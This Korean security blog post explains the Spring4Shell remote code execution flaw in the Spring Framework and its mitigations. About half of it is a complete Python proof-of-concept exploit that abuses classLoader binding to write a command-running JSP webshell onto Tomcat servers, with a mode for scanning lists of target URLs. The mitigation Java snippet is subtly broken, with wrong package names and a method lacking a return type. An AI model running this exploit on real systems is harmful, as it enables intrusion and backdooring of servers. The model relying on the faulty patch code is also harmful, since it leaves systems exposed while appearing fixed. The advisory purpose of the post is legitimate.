Spring은 Java 애플리케이션을 빠르고 쉽게 개발할 수 있는 인기있는 애플리케이션 프레임워크로 Apache Tomcat과 같은 서버에서 독립 실행형 패키지(모든 종속성 포함)로 배포할 수 있습니다.
해당 취약점의 경우 QQ 채팅 서비스와 중국 사이버 보안 사이트에서 유포되었으며, 해당 제로데이에 대한 익스플로잇은 잠시후 제거되었지만 이미 많은 사람들이 다운로드를 받은 후 였습니다.
그 이후로 수많은 사이버 보안 전문가들이 해당 취약점이 유효하고 심각한 문제임을 확인했습니다.
현재 Spring4Shell이라고 불리는 이 취약점은 전달된 인수의 안전하지 않은 역직렬화로 인해 발생한다고 합니다. 처음에는 Java9 이상에서 실행되는 모든 Spring 앱에 영향을 미치는 것으로 판단되었지만, 충족되어야 하는 특정 요구사항이 있음이 확인되었습니다.
사이버 보안 회사인 Praetorain은 해당 취약점이 악용되기 위해서는 특정 구성에 의존해야한다고 언급했습니다.
악용에는 DataBinder가 활성화된 엔드포인트(Request Body에서 Data를 자동으로 디코딩하는 POST 요청)가 필요하다고 설명했습니다.
그리고 Spring이 구성된 환경에 따라 위험도가 달라질 수 있는데 예를 들어 Apache Tomcat에 배포되면 , WebAppClassLoader에 액세스할 수 있으므로 공격자가 getter 및 setter를 호출하여 악성 JSP 파일을 작성하는 등의 행위를 할 수 있지만, Embedded Tomcat Servlet Container를 사용하여 Spring이 배포된 경우 ClassLoader는 액세스가 제한된 LaunchedURLClassLoader이기 때문에 효과적인 페이로드를 찾기 위해서는 추가적인 조사가 필요해진다고 합니다.
그리고 Spring4Shell은 이미 많은 곳에서 악용되고 있다고 합니다.
Spring4Shell RCE PoC Code
#coding:utf-8
import requests
import argparse
from urllib.parse import urljoin
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
def main():
parser = argparse.ArgumentParser(description='Spring-Core Rce.')
parser.add_argument('--file',help='url file',required=False)
parser.add_argument('--url',help='target url',required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)
if __name__ == '__main__':
main()
영향을 받는 버전
- JDK 9 이상의 Spring 프레임워크를 사용하는 경우
취약 버전 사용 여부 확인 방법
1. JDK 버전 확인
java -version
2. Spring 프레임워크 사용 유무 확인
- 프로젝트가 jar, war 패키지로 되어 있는 경우 zip 확장자로 변경 후 압축 풀기
- 이후 아래와 같이 "spring-beans-jar", "spring.jar", "CacehdIntrospectionResults.class"로 검색
find . -name spring-beans*.jar
Spring4Shell 대응 방안
1. Spring Framework 5.3.18 및 5.2.20으로 업데이트
2. Spring Framework 업데이트가 불가능한 경우
- Controller 간에 공유되는 Spring Component 인 ControllerAdvice Component를 생성하고 Deny List를 생성하여 추가할 것을 권장하고 있음
- 프로젝트 패키지 아래 해당 전역 클래스 생성 후 재컴파일 (테스트 필요)
import org.springwork.core.Ordered;
import org.springwork.core.annotation.Order;
import org.springwork.web.bind.WebDataBinder;
import org.springwork.web.bind.annotation.ControllerAdvice;
import org.springwork.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}
Reference
'Hack > Web' 카테고리의 다른 글
[Chrome] 시크릿 모드에서 확장 플러그인 사용 방법 (0) | 2022.04.26 |
---|---|
Server Side Template Injection (SSTI) (0) | 2022.04.12 |
Proxy Setting OnOff bat file (0) | 2021.11.19 |
SQL Injection Cheat Sheet (0) | 2021.10.02 |
DOM Clobbering XSS (0) | 2021.09.04 |
댓글